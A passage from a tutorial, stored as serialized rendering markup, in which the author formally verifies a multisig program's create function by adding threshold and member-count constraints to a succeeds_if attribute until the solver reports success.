props":23177,"children":23178},{"class":85,"line":8792},[23179],{"type":24,"tag":83,"props":23180,"children":23181},{"emptyLinePlaceholder":16},[23182],{"type":29,"value":3422},{"type":24,"tag":83,"props":23184,"children":23185},{"class":85,"line":8810},[23186],{"type":24,"tag":83,"props":23187,"children":23188},{"style":2735},[23189],{"type":29,"value":23190},"    // check we don't exceed u16\n",{"type":24,"tag":83,"props":23192,"children":23193},{"class":85,"line":8855},[23194,23198,23203,23207,23211,23215,23219],{"type":24,"tag":83,"props":23195,"children":23196},{"style":90},[23197],{"type":29,"value":2746},{"type":24,"tag":83,"props":23199,"children":23200},{"style":137},[23201],{"type":29,"value":23202}," total_members",{"type":24,"tag":83,"props":23204,"children":23205},{"style":143},[23206],{"type":29,"value":146},{"type":24,"tag":83,"props":23208,"children":23209},{"style":137},[23210],{"type":29,"value":23123},{"type":24,"tag":83,"props":23212,"children":23213},{"style":143},[23214],{"type":29,"value":161},{"type":24,"tag":83,"props":23216,"children":23217},{"style":101},[23218],{"type":29,"value":8885},{"type":24,"tag":83,"props":23220,"children":23221},{"style":107},[23222],{"type":29,"value":267},{"type":24,"tag":83,"props":23224,"children":23225},{"class":85,"line":8961},[23226,23230,23234,23238,23242],{"type":24,"tag":83,"props":23227,"children":23228},{"style":117},[23229],{"type":29,"value":218},{"type":24,"tag":83,"props":23231,"children":23232},{"style":137},[23233],{"type":29,"value":23202},{"type":24,"tag":83,"props":23235,"children":23236},{"style":143},[23237],{"type":29,"value":8463},{"type":24,"tag":83,"props":23239,"children":23240},{"style":245},[23241],{"type":29,"value":295},{"type":24,"tag":83,"props":23243,"children":23244},{"style":107},[23245],{"type":29,"value":125},{"type":24,"tag":83,"props":23247,"children":23249},{"class":85,"line":23248},31,[23250,23254,23259,23263,23268,23272,23277],{"type":24,"tag":83,"props":23251,"children":23252},{"style":117},[23253],{"type":29,"value":15482},{"type":24,"tag":83,"props":23255,"children":23256},{"style":101},[23257],{"type":29,"value":23258}," err!",{"type":24,"tag":83,"props":23260,"children":23261},{"style":107},[23262],{"type":29,"value":558},{"type":24,"tag":83,"props":23264,"children":23265},{"style":3163},[23266],{"type":29,"value":23267},"MsError",{"type":24,"tag":83,"props":23269,"children":23270},{"style":143},[23271],{"type":29,"value":3226},{"type":24,"tag":83,"props":23273,"children":23274},{"style":3163},[23275],{"type":29,"value":23276},"EmptyMembers",{"type":24,"tag":83,"props":23278,"children":23279},{"style":107},[23280],{"type":29,"value":581},{"type":24,"tag":83,"props":23282,"children":23284},{"class":85,"line":23283},32,[23285],{"type":24,"tag":83,"props":23286,"children":23287},{"style":107},[23288],{"type":29,"value":446},{"type":24,"tag":83,"props":23290,"children":23292},{"class":85,"line":23291},33,[23293],{"type":24,"tag":83,"props":23294,"children":23295},{"emptyLinePlaceholder":16},[23296],{"type":29,"value":3422},{"type":24,"tag":83,"props":23298,"children":23300},{"class":85,"line":23299},34,[23301],{"type":24,"tag":83,"props":23302,"children":23303},{"style":2735},[23304],{"type":29,"value":23305},"    // make sure we don't exceed u16 on first call\n",{"type":24,"tag":83,"props":23307,"children":23309},{"class":85,"line":23308},35,[23310,23314,23318,23322,23326,23330,23334,23339,23343],{"type":24,"tag":83,"props":23311,"children":23312},{"style":117},[23313],{"type":29,"value":218},{"type":24,"tag":83,"props":23315,"children":23316},{"style":137},[23317],{"type":29,"value":23202},{"type":24,"tag":83,"props":23319,"children":23320},{"style":143},[23321],{"type":29,"value":242},{"type":24,"tag":83,"props":23323,"children":23324},{"style":3163},[23325],{"type":29,"value":13476},{"type":24,"tag":83,"props":23327,"children":23328},{"style":143},[23329],{"type":29,"value":3226},{"type":24,"tag":83,"props":23331,"children":23332},{"style":101},[23333],{"type":29,"value":19213},{"type":24,"tag":83,"props":23335,"children":23336},{"style":107},[23337],{"type":29,"value":23338},"(u16",{"type":24,"tag":83,"props":23340,"children":23341},{"style":143},[23342],{"type":29,"value":3226},{"type":24,"tag":83,"props":23344,"children":23345},{"style":107},[23346],{"type":29,"value":23347},"MAX) {\n",{"type":24,"tag":83,"props":23349,"children":23351},{"class":85,"line":23350},36,[23352,23356,23360,23364,23368,23372,23377],{"type":24,"tag":83,"props":23353,"children":23354},{"style":117},[23355],{"type":29,"value":15482},{"type":24,"tag":83,"props":23357,"children":23358},{"style":101},[23359],{"type":29,"value":23258},{"type":24,"tag":83,"props":23361,"children":23362},{"style":107},[23363],{"type":29,"value":558},{"type":24,"tag":83,"props":23365,"children":23366},{"style":3163},[23367],{"type":29,"value":23267},{"type":24,"tag":83,"props":23369,"children":23370},{"style":143},[23371],{"type":29,"value":3226},{"type":24,"tag":83,"props":23373,"children":23374},{"style":3163},[23375],{"type":29,"value":23376},"MaxMembersReached",{"type":24,"tag":83,"props":23378,"children":23379},{"style":107},[23380],{"type":29,"value":581},{"type":24,"tag":83,"props":23382,"children":23384},{"class":85,"line":23383},37,[23385],{"type":24,"tag":83,"props":23386,"children":23387},{"style":107},[23388],{"type":29,"value":446},{"type":24,"tag":83,"props":23390,"children":23392},{"class":85,"line":23391},38,[23393],{"type":24,"tag":83,"props":23394,"children":23395},{"emptyLinePlaceholder":16},[23396],{"type":29,"value":3422},{"type":24,"tag":83,"props":23398,"children":23400},{"class":85,"line":23399},39,[23401],{"type":24,"tag":83,"props":23402,"children":23403},{"style":2735},[23404],{"type":29,"value":23405},"    // make sure threshold is valid\n",{"type":24,"tag":83,"props":23407,"children":23409},{"class":85,"line":23408},40,[23410,23414,23418,23422,23426,23430,23434,23439,23443,23448,23452,23456,23460,23464,23468,23473,23478],{"type":24,"tag":83,"props":23411,"children":23412},{"style":117},[23413],{"type":29,"value":218},{"type":24,"tag":83,"props":23415,"children":23416},{"style":3163},[23417],{"type":29,"value":13476},{"type":24,"tag":83,"props":23419,"children":23420},{"style":143},[23421],{"type":29,"value":3226},{"type":24,"tag":83,"props":23423,"children":23424},{"style":101},[23425],{"type":29,"value":19213},{"type":24,"tag":83,"props":23427,"children":23428},{"style":107},[23429],{"type":29,"value":558},{"type":24,"tag":83,"props":23431,"children":23432},{"style":137},[23433],{"type":29,"value":22489},{"type":24,"tag":83,"props":23435,"children":23436},{"style":107},[23437],{"type":29,"value":23438},") \u003C ",{"type":24,"tag":83,"props":23440,"children":23441},{"style":245},[23442],{"type":29,"value":3756},{"type":24,"tag":83,"props":23444,"children":23445},{"style":143},[23446],{"type":29,"value":23447}," ||",{"type":24,"tag":83,"props":23449,"children":23450},{"style":3163},[23451],{"type":29,"value":13476},{"type":24,"tag":83,"props":23453,"children":23454},{"style":143},[23455],{"type":29,"value":3226},{"type":24,"tag":83,"props":23457,"children":23458},{"style":101},[23459],{"type":29,"value":19213},{"type":24,"tag":83,"props":23461,"children":23462},{"style":107},[23463],{"type":29,"value":558},{"type":24,"tag":83,"props":23465,"children":23466},{"style":137},[23467],{"type":29,"value":22489},{"type":24,"tag":83,"props":23469,"children":23470},{"style":107},[23471],{"type":29,"value":23472},") > ",{"type":24,"tag":83,"props":23474,"children":23475},{"style":137},[23476],{"type":29,"value":23477},"total_members",{"type":24,"tag":83,"props":23479,"children":23480},{"style":107},[23481],{"type":29,"value":125},{"type":24,"tag":83,"props":23483,"children":23485},{"class":85,"line":23484},41,[23486,23490,23494,23498,23502,23506,23511],{"type":24,"tag":83,"props":23487,"children":23488},{"style":117},[23489],{"type":29,"value":15482},{"type":24,"tag":83,"props":23491,"children":23492},{"style":101},[23493],{"type":29,"value":23258},{"type":24,"tag":83,"props":23495,"children":23496},{"style":107},[23497],{"type":29,"value":558},{"type":24,"tag":83,"props":23499,"children":23500},{"style":3163},[23501],{"type":29,"value":23267},{"type":24,"tag":83,"props":23503,"children":23504},{"style":143},[23505],{"type":29,"value":3226},{"type":24,"tag":83,"props":23507,"children":23508},{"style":3163},[23509],{"type":29,"value":23510},"InvalidThreshold",{"type":24,"tag":83,"props":23512,"children":23513},{"style":107},[23514],{"type":29,"value":581},{"type":24,"tag":83,"props":23516,"children":23518},{"class":85,"line":23517},42,[23519],{"type":24,"tag":83,"props":23520,"children":23521},{"style":107},[23522],{"type":29,"value":446},{"type":24,"tag":83,"props":23524,"children":23526},{"class":85,"line":23525},43,[23527],{"type":24,"tag":83,"props":23528,"children":23529},{"emptyLinePlaceholder":16},[23530],{"type":29,"value":3422},{"type":24,"tag":83,"props":23532,"children":23534},{"class":85,"line":23533},44,[23535,23539,23543,23547,23551,23556,23560,23564],{"type":24,"tag":83,"props":23536,"children":23537},{"style":137},[23538],{"type":29,"value":19964},{"type":24,"tag":83,"props":23540,"children":23541},{"style":143},[23542],{"type":29,"value":161},{"type":24,"tag":83,"props":23544,"children":23545},{"style":107},[23546],{"type":29,"value":14418},{"type":24,"tag":83,"props":23548,"children":23549},{"style":143},[23550],{"type":29,"value":161},{"type":24,"tag":83,"props":23552,"children":23553},{"style":107},[23554],{"type":29,"value":23555},"multisig",{"type":24,"tag":83,"props":23557,"children":23558},{"style":143},[23559],{"type":29,"value":161},{"type":24,"tag":83,"props":23561,"children":23562},{"style":101},[23563],{"type":29,"value":20481},{"type":24,"tag":83,"props":23565,"children":23566},{"style":107},[23567],{"type":29,"value":3208},{"type":24,"tag":83,"props":23569,"children":23571},{"class":85,"line":23570},45,[23572,23577],{"type":24,"tag":83,"props":23573,"children":23574},{"style":137},[23575],{"type":29,"value":23576},"        threshold",{"type":24,"tag":83,"props":23578,"children":23579},{"style":107},[23580],{"type":29,"value":989},{"type":24,"tag":83,"props":23582,"children":23584},{"class":85,"line":23583},46,[23585,23590],{"type":24,"tag":83,"props":23586,"children":23587},{"style":137},[23588],{"type":29,"value":23589},"        create_key",{"type":24,"tag":83,"props":23591,"children":23592},{"style":107},[23593],{"type":29,"value":989},{"type":24,"tag":83,"props":23595,"children":23597},{"class":85,"line":23596},47,[23598,23603],{"type":24,"tag":83,"props":23599,"children":23600},{"style":137},[23601],{"type":29,"value":23602},"        members",{"type":24,"tag":83,"props":23604,"children":23605},{"style":107},[23606],{"type":29,"value":989},{"type":24,"tag":83,"props":23608,"children":23610},{"class":85,"line":23609},48,[23611,23615,23619,23623,23628,23632,23636,23640,23645,23649,23653,23657],{"type":24,"tag":83,"props":23612,"children":23613},{"style":143},[23614],{"type":29,"value":7499},{"type":24,"tag":83,"props":23616,"children":23617},{"style":137},[23618],{"type":29,"value":20021},{"type":24,"tag":83,"props":23620,"children":23621},{"style":143},[23622],{"type":29,"value":161},{"type":24,"tag":83,"props":23624,"children":23625},{"style":107},[23626],{"type":29,"value":23627},"bumps",{"type":24,"tag":83,"props":23629,"children":23630},{"style":143},[23631],{"type":29,"value":161},{"type":24,"tag":83,"props":23633,"children":23634},{"style":101},[23635],{"type":29,"value":619},{"type":24,"tag":83,"props":23637,"children":23638},{"style":107},[23639],{"type":29,"value":558},{"type":24,"tag":83,"props":23641,"children":23642},{"style":187},[23643],{"type":29,"value":23644},"\"multisig\"",{"type":24,"tag":83,"props":23646,"children":23647},{"style":107},[23648],{"type":29,"value":2872},{"type":24,"tag":83,"props":23650,"children":23651},{"style":143},[23652],{"type":29,"value":161},{"type":24,"tag":83,"props":23654,"children":23655},{"style":101},[23656],{"type":29,"value":3410},{"type":24,"tag":83,"props":23658,"children":23659},{"style":107},[23660],{"type":29,"value":3236},{"type":24,"tag":83,"props":23662,"children":23664},{"class":85,"line":23663},49,[23665],{"type":24,"tag":83,"props":23666,"children":23667},{"style":107},[23668],{"type":29,"value":23669},"    )\n",{"type":24,"tag":83,"props":23671,"children":23673},{"class":85,"line":23672},50,[23674],{"type":24,"tag":83,"props":23675,"children":23676},{"style":107},[23677],{"type":29,"value":464},{"type":24,"tag":25,"props":23679,"children":23680},{},[23681,23683,23688,23690,23695],{"type":29,"value":23682},"We can start by testing an empty ",{"type":24,"tag":32,"props":23684,"children":23686},{"className":23685},[],[23687],{"type":29,"value":19895},{"type":29,"value":23689}," (this will default to ",{"type":24,"tag":32,"props":23691,"children":23693},{"className":23692},[],[23694],{"type":29,"value":1237},{"type":29,"value":23696},"):",{"type":24,"tag":73,"props":23698,"children":23700},{"code":23699,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[23701],{"type":24,"tag":32,"props":23702,"children":23703},{"__ignoreMap":7},[23704,23712],{"type":24,"tag":83,"props":23705,"children":23706},{"class":85,"line":86},[23707],{"type":24,"tag":83,"props":23708,"children":23709},{"style":107},[23710],{"type":29,"value":23711},"#[succeeds_if()]\n",{"type":24,"tag":83,"props":23713,"children":23714},{"class":85,"line":113},[23715,23719,23723,23727,23731,23735,23740,23744],{"type":24,"tag":83,"props":23716,"children":23717},{"style":90},[23718],{"type":29,"value":13435},{"type":24,"tag":83,"props":23720,"children":23721},{"style":90},[23722],{"type":29,"value":13440},{"type":24,"tag":83,"props":23724,"children":23725},{"style":101},[23726],{"type":29,"value":6859},{"type":24,"tag":83,"props":23728,"children":23729},{"style":107},[23730],{"type":29,"value":558},{"type":24,"tag":83,"props":23732,"children":23733},{"style":143},[23734],{"type":29,"value":509},{"type":24,"tag":83,"props":23736,"children":23737},{"style":107},[23738],{"type":29,"value":23739},") { ",{"type":24,"tag":83,"props":23741,"children":23742},{"style":143},[23743],{"type":29,"value":509},{"type":24,"tag":83,"props":23745,"children":23746},{"style":107},[23747],{"type":29,"value":9342},{"type":24,"tag":25,"props":23749,"children":23750},{},[23751],{"type":29,"value":23752},"Running the solver, we get:",{"type":24,"tag":73,"props":23754,"children":23756},{"code":23755},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[23757],{"type":24,"tag":32,"props":23758,"children":23759},{"__ignoreMap":7},[23760],{"type":29,"value":23755},{"type":24,"tag":25,"props":23762,"children":23763},{},[23764,23766,23771],{"type":29,"value":23765},"This means that ",{"type":24,"tag":32,"props":23767,"children":23769},{"className":23768},[],[23770],{"type":29,"value":1237},{"type":29,"value":23772}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":25,"props":23774,"children":23775},{},[23776],{"type":29,"value":23777},"We can ask the solver to produce a counterexample:",{"type":24,"tag":73,"props":23779,"children":23781},{"code":23780},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23782],{"type":24,"tag":32,"props":23783,"children":23784},{"__ignoreMap":7},[23785],{"type":29,"value":23780},{"type":24,"tag":25,"props":23787,"children":23788},{},[23789],{"type":29,"value":23790},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":25,"props":23792,"children":23793},{},[23794],{"type":24,"tag":2655,"props":23795,"children":23796},{},[23797,23799,23805],{"type":29,"value":23798},"Note also that the verifier decided to use a ",{"type":24,"tag":32,"props":23800,"children":23802},{"className":23801},[],[23803],{"type":29,"value":23804},"SparseVec",{"type":29,"value":23806}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":25,"props":23808,"children":23809},{},[23810],{"type":24,"tag":2655,"props":23811,"children":23812},{},[23813,23815,23820,23821,23827,23829,23834,23836,23841],{"type":29,"value":23814},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":32,"props":23816,"children":23818},{"className":23817},[],[23819],{"type":29,"value":3556},{"type":29,"value":2287},{"type":24,"tag":32,"props":23822,"children":23824},{"className":23823},[],[23825],{"type":29,"value":23826},"pop",{"type":29,"value":23828}," are stubbed out to simply panic for the ",{"type":24,"tag":32,"props":23830,"children":23832},{"className":23831},[],[23833],{"type":29,"value":23804},{"type":29,"value":23835}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":32,"props":23837,"children":23839},{"className":23838},[],[23840],{"type":29,"value":16947},{"type":29,"value":23842}," type.",{"type":24,"tag":25,"props":23844,"children":23845},{},[23846],{"type":29,"value":23847},"We can add this to our constraint and try again:",{"type":24,"tag":73,"props":23849,"children":23851},{"code":23850,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[23852],{"type":24,"tag":32,"props":23853,"children":23854},{"__ignoreMap":7},[23855,23863,23900,23907],{"type":24,"tag":83,"props":23856,"children":23857},{"class":85,"line":86},[23858],{"type":24,"tag":83,"props":23859,"children":23860},{"style":107},[23861],{"type":29,"value":23862},"#[succeeds_if(\n",{"type":24,"tag":83,"props":23864,"children":23865},{"class":85,"line":113},[23866,23871,23875,23879,23883,23887,23891,23895],{"type":24,"tag":83,"props":23867,"children":23868},{"style":107},[23869],{"type":29,"value":23870},"    (threshold ",{"type":24,"tag":83,"props":23872,"children":23873},{"style":90},[23874],{"type":29,"value":8586},{"type":24,"tag":83,"props":23876,"children":23877},{"style":3163},[23878],{"type":29,"value":13476},{"type":24,"tag":83,"props":23880,"children":23881},{"style":107},[23882],{"type":29,"value":633},{"type":24,"tag":83,"props":23884,"children":23885},{"style":143},[23886],{"type":29,"value":19154},{"type":24,"tag":83,"props":23888,"children":23889},{"style":107},[23890],{"type":29,"value":23123},{"type":24,"tag":83,"props":23892,"children":23893},{"style":143},[23894],{"type":29,"value":161},{"type":24,"tag":83,"props":23896,"children":23897},{"style":107},[23898],{"type":29,"value":23899},"len()\n",{"type":24,"tag":83,"props":23901,"children":23902},{"class":85,"line":128},[23903],{"type":24,"tag":83,"props":23904,"children":23905},{"style":107},[23906],{"type":29,"value":19999},{"type":24,"tag":83,"props":23908,"children":23909},{"class":85,"line":183},[23910,23914,23918,23922,23926,23930,23934,23938],{"type":24,"tag":83,"props":23911,"children":23912},{"style":90},[23913],{"type":29,"value":13435},{"type":24,"tag":83,"props":23915,"children":23916},{"style":90},[23917],{"type":29,"value":13440},{"type":24,"tag":83,"props":23919,"children":23920},{"style":101},[23921],{"type":29,"value":6859},{"type":24,"tag":83,"props":23923,"children":23924},{"style":107},[23925],{"type":29,"value":558},{"type":24,"tag":83,"props":23927,"children":23928},{"style":143},[23929],{"type":29,"value":509},{"type":24,"tag":83,"props":23931,"children":23932},{"style":107},[23933],{"type":29,"value":23739},{"type":24,"tag":83,"props":23935,"children":23936},{"style":143},[23937],{"type":29,"value":509},{"type":24,"tag":83,"props":23939,"children":23940},{"style":107},[23941],{"type":29,"value":9342},{"type":24,"tag":25,"props":23943,"children":23944},{},[23945],{"type":29,"value":23946},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":73,"props":23948,"children":23950},{"code":23949},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23951],{"type":24,"tag":32,"props":23952,"children":23953},{"__ignoreMap":7},[23954],{"type":29,"value":23949},{"type":24,"tag":25,"props":23956,"children":23957},{},[23958],{"type":29,"value":23959},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":73,"props":23961,"children":23963},{"code":23962,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[23964],{"type":24,"tag":32,"props":23965,"children":23966},{"__ignoreMap":7},[23967,23974,24009,24030,24037],{"type":24,"tag":83,"props":23968,"children":23969},{"class":85,"line":86},[23970],{"type":24,"tag":83,"props":23971,"children":23972},{"style":107},[23973],{"type":29,"value":23862},{"type":24,"tag":83,"props":23975,"children":23976},{"class":85,"line":113},[23977,23981,23985,23989,23993,23997,24001,24005],{"type":24,"tag":83,"props":23978,"children":23979},{"style":107},[23980],{"type":29,"value":23870},{"type":24,"tag":83,"props":23982,"children":23983},{"style":90},[23984],{"type":29,"value":8586},{"type":24,"tag":83,"props":23986,"children":23987},{"style":3163},[23988],{"type":29,"value":13476},{"type":24,"tag":83,"props":23990,"children":23991},{"style":107},[23992],{"type":29,"value":633},{"type":24,"tag":83,"props":23994,"children":23995},{"style":143},[23996],{"type":29,"value":19154},{"type":24,"tag":83,"props":23998,"children":23999},{"style":107},[24000],{"type":29,"value":23123},{"type":24,"tag":83,"props":24002,"children":24003},{"style":143},[24004],{"type":29,"value":161},{"type":24,"tag":83,"props":24006,"children":24007},{"style":107},[24008],{"type":29,"value":23899},{"type":24,"tag":83,"props":24010,"children":24011},{"class":85,"line":128},[24012,24016,24021,24025],{"type":24,"tag":83,"props":24013,"children":24014},{"style":143},[24015],{"type":29,"value":15360},{"type":24,"tag":83,"props":24017,"children":24018},{"style":107},[24019],{"type":29,"value":24020}," threshold ",{"type":24,"tag":83,"props":24022,"children":24023},{"style":143},[24024],{"type":29,"value":15427},{"type":24,"tag":83,"props":24026,"children":24027},{"style":107},[24028],{"type":29,"value":24029}," 0\n",{"type":24,"tag":83,"props":24031,"children":24032},{"class":85,"line":183},[24033],{"type":24,"tag":83,"props":24034,"children":24035},{"style":107},[24036],{"type":29,"value":19999},{"type":24,"tag":83,"props":24038,"children":24039},{"class":85,"line":203},[24040,24044,24048,24052,24056,24060,24064,24068],{"type":24,"tag":83,"props":24041,"children":24042},{"style":90},[24043],{"type":29,"value":13435},{"type":24,"tag":83,"props":24045,"children":24046},{"style":90},[24047],{"type":29,"value":13440},{"type":24,"tag":83,"props":24049,"children":24050},{"style":101},[24051],{"type":29,"value":6859},{"type":24,"tag":83,"props":24053,"children":24054},{"style":107},[24055],{"type":29,"value":558},{"type":24,"tag":83,"props":24057,"children":24058},{"style":143},[24059],{"type":29,"value":509},{"type":24,"tag":83,"props":24061,"children":24062},{"style":107},[24063],{"type":29,"value":23739},{"type":24,"tag":83,"props":24065,"children":24066},{"style":143},[24067],{"type":29,"value":509},{"type":24,"tag":83,"props":24069,"children":24070},{"style":107},[24071],{"type":29,"value":9342},{"type":24,"tag":25,"props":24073,"children":24074},{},[24075],{"type":29,"value":24076},"A third counterexample:",{"type":24,"tag":73,"props":24078,"children":24080},{"code":24079},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[24081],{"type":24,"tag":32,"props":24082,"children":24083},{"__ignoreMap":7},[24084],{"type":29,"value":24079},{"type":24,"tag":25,"props":24086,"children":24087},{},[24088,24090,24096],{"type":29,"value":24089},"Here we see the size of our ",{"type":24,"tag":32,"props":24091,"children":24093},{"className":24092},[],[24094],{"type":29,"value":24095},"members",{"type":29,"value":24097}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":73,"props":24099,"children":24101},{"code":24100,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[24102],{"type":24,"tag":32,"props":24103,"children":24104},{"__ignoreMap":7},[24105,24112,24147,24168,24220,24227],{"type":24,"tag":83,"props":24106,"children":24107},{"class":85,"line":86},[24108],{"type":24,"tag":83,"props":24109,"children":24110},{"style":107},[24111],{"type":29,"value":23862},{"type":24,"tag":83,"props":24113,"children":24114},{"class":85,"line":113},[24115,24119,24123,24127,24131,24135,24139,24143],{"type":24,"tag":83,"props":24116,"children":24117},{"style":107},[24118],{"type":29,"value":23870},{"type":24,"tag":83,"props":24120,"children":24121},{"style":90},[24122],{"type":29,"value":8586},{"type":24,"tag":83,"props":24124,"children":24125},{"style":3163},[24126],{"type":29,"value":13476},{"type":24,"tag":83,"props":24128,"children":24129},{"style":107},[24130],{"type":29,"value":633},{"type":24,"tag":83,"props":24132,"children":24133},{"style":143},[24134],{"type":29,"value":19154},{"type":24,"tag":83,"props":24136,"children":24137},{"style":107},[24138],{"type":29,"value":23123},{"type":24,"tag":83,"props":24140,"children":24141},{"style":143},[24142],{"type":29,"value":161},{"type":24,"tag":83,"props":24144,"children":24145},{"style":107},[24146],{"type":29,"value":23899},{"type":24,"tag":83,"props":24148,"children":24149},{"class":85,"line":128},[24150,24154,24159,24163],{"type":24,"tag":83,"props":24151,"children":24152},{"style":143},[24153],{"type":29,"value":15360},{"type":24,"tag":83,"props":24155,"children":24156},{"style":107},[24157],{"type":29,"value":24158}," (threshold ",{"type":24,"tag":83,"props":24160,"children":24161},{"style":143},[24162],{"type":29,"value":15427},{"type":24,"tag":83,"props":24164,"children":24165},{"style":107},[24166],{"type":29,"value":24167}," 0)\n",{"type":24,"tag":83,"props":24169,"children":24170},{"class":85,"line":183},[24171,24175,24179,24183,24187,24191,24195,24200,24204,24208,24212,24216],{"type":24,"tag":83,"props":24172,"children":24173},{"style":143},[24174],{"type":29,"value":15360},{"type":24,"tag":83,"props":24176,"children":24177},{"style":107},[24178],{"type":29,"value":22738},{"type":24,"tag":83,"props":24180,"children":24181},{"style":143},[24182],{"type":29,"value":161},{"type":24,"tag":83,"props":24184,"children":24185},{"style":107},[24186],{"type":29,"value":20761},{"type":24,"tag":83,"props":24188,"children":24189},{"style":143},[24190],{"type":29,"value":19154},{"type":24,"tag":83,"props":24192,"children":24193},{"style":107},[24194],{"type":29,"value":223},{"type":24,"tag":83,"props":24196,"children":24197},{"style":3163},[24198],{"type":29,"value":24199},"u16",{"type":24,"tag":83,"props":24201,"children":24202},{"style":143},[24203],{"type":29,"value":3226},{"type":24,"tag":83,"props":24205,"children":24206},{"style":3163},[24207],{"type":29,"value":20779},{"type":24,"tag":83,"props":24209,"children":24210},{"style":90},[24211],{"type":29,"value":8572},{"type":24,"tag":83,"props":24213,"children":24214},{"style":3163},[24215],{"type":29,"value":13476},{"type":24,"tag":83,"props":24217,"children":24218},{"style":107},[24219],{"type":29,"value":19452},{"type":24,"tag":83,"props":24221,"children":24222},{"class":85,"line":203},[24223],{"type":24,"tag":83,"props":24224,"children":24225},{"style":107},[24226],{"type":29,"value":19999},{"type":24,"tag":83,"props":24228,"children":24229},{"class":85,"line":212},[24230,24234,24238,24242,24246,24250,24254,24258],{"type":24,"tag":83,"props":24231,"children":24232},{"style":90},[24233],{"type":29,"value":13435},{"type":24,"tag":83,"props":24235,"children":24236},{"style":90},[24237],{"type":29,"value":13440},{"type":24,"tag":83,"props":24239,"children":24240},{"style":101},[24241],{"type":29,"value":6859},{"type":24,"tag":83,"props":24243,"children":24244},{"style":107},[24245],{"type":29,"value":558},{"type":24,"tag":83,"props":24247,"children":24248},{"style":143},[24249],{"type":29,"value":509},{"type":24,"tag":83,"props":24251,"children":24252},{"style":107},[24253],{"type":29,"value":23739},{"type":24,"tag":83,"props":24255,"children":24256},{"style":143},[24257],{"type":29,"value":509},{"type":24,"tag":83,"props":24259,"children":24260},{"style":107},[24261],{"type":29,"value":9342},{"type":24,"tag":25,"props":24263,"children":24264},{},[24265],{"type":29,"value":24266},"And now we get:",{"type":24,"tag":73,"props":24268,"children":24270},{"code":24269},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[24271],{"type":24,"tag":32,"props":24272,"children":24273},{"__ignoreMap":7},[24274],{"type":29,"value":24269},{"type":24,"tag":25,"props":24276,"children":24277},{},[24278],{"type":29,"value":24279},"🥳🥳🥳",{"type":24,"tag":25,"props":24281,"children":24282},{},[24283],{"type":29,"value":24284},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":24,"tag":73,"props":24286,"children":24288},{"code":24287,"language":2724,"meta":7,"className":2725,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[24289],{"type":24,"tag":32,"props":24290,"children":24291},{"__ignoreMap":7},[24292,24315,24346],{"type":24,"tag":83,"props":24293,"children":24294},{"class":85,"line":86},[24295,24299,24303,24307,24311],{"type":24,"tag":83,"props":24296,"children":24297},{"style":117},[24298],{"type":29,"value":1094},{"type":24,"tag":83,"props":24300,"children":24301},{"style":137},[24302],{"type":29,"value":23202},{"type":24,"tag":83,"props":24304,"children":24305},{"style":143},[24306],{"type":29,"value":8463},{"type":24,"tag":83,"props":24308,"children":24309},{"style":245},[24310],{"type":29,"value":295},{"type":24,"tag":83,"props":24312,"children":24313},{"style":107},[24314],{"type":29,"value":125},{"type":24,"tag":83,"props":24316,"children":24317},{"class":85,"line":113},[24318,24322,24326,24330,24334,24338,24342],{"type":24,"tag":83,"props":24319,"children":24320},{"style":117},[24321],{"type":29,"value":16725},{"type":24,"tag":83,"props":24323,"children":24324},{"style":101},[24325],{"type":29,"value":23258},{"type":24,"tag":83,"props":24327,"children":24328},{"style":107},[24329],{"type":29,"value":558},{"type":24,"tag":83,"props":24331,"children":24332},{"style":3163},[24333],{"type":29,"value":23267},{"type":24,"tag":83,"props":24335,"children":24336},{"style":143},[24337],{"type":29,"value":3226},{"type":24,"tag":83,"props":24339,"children":24340},{"style":3163},[24341],{"type":29,"value":23276},{"type":24,"tag":83,"props":24343,"children":24344},{"style":107},[24345],{"type":29,"value":581},{"type":24,"tag":83,"props":24347,"children":24348},{"class":85,"line":128},[24349],{"type":24,"tag":83,"props":24350,"children":24351},{"style":107},[24352],{"type":29,"value":464},{"type":24,"tag":25,"props":24354,"children":24355},{},[24356,24358,24364,24366,24371,24373,24378,24380,24385],{"type":29,"value":24357},"In this case this is actually redundant because if ",{"type":24,"tag":32,"props":24359,"children":24361},{"className":24360},[],[24362],{"type":29,"value":24363},"members.len() == 0",{"type":29,"value":24365}," then our threshold would also have to be ",{"type":24,"tag":32,"props":24367,"children":24369},{"className":24368},[],[24370],{"type":29,"value":1166},{"type":29,"value":24372}," (and our ",{"type":24,"tag":32,"props":24374,"children":24376},{"className":24375},[],[24377],{"type":29,"value":22489},{"type":29,"value":24379}," is not allowed to be ",{"type":24,"tag":32,"props":24381,"children":24383},{"className":24382},[],[24384],{"type":29,"value":1166},{"type":29,"value":24386},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":1818,"props":24388,"children":24390},{"id":24389},"_2-verify-threshold-requirements",[24391],{"type":29,"value":24392},"2. Verify threshold 